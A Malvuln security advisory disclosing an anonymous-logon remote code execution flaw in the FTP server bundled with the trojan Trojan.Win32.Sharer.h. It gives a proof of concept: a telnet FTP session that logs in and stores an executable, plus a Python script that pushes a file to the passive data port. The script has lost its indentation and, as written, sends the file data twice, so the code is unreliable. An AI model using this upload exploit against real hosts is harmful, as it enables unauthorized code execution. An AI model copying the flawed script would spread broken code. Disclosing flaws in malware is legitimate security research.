Trojan.Win32.Sharer.h malware suffers from a code execution vulnerability.
d8fb18a00a1ee2f640bfeb75ecd05e69Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan.Win32.Sharer.h
Vulnerability: Anonymous Logon RCE
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types of services, one is an FTP server named "20CN MINIFTP" TCP port 21. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Attackers may then upload executables using PASV, STOR commands, this can result in remote code execution. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0158
Dropped files: FtpServer.exe
Disclosure: 04/03/2021
Exploit/PoC:
TELNET x.x.x.x 21
220 ─πY╙╓└┤┴╦!!!
USER anonymous
331 Password required for anonymous
PASS malvuln
230 User successfully logged in.
SYST
215 UNIX emulated by Pablo's FTP Server.
PASV
227 Entering Passive Mode (192,168,88,128,202,32).
STOR DOOM.exe
150 Opening BINARY mode data connection for file transfer.
226 Transfer complete
from socket import *
MALWARE_HOST="192.168.88.128"
PORT=51744 #202*256+32
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("Trojan.Win32.Sharer.h / Anonymous Logon RCE")
print("MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551")
print("By Malvuln");
if __name__=="__main__":
doit()
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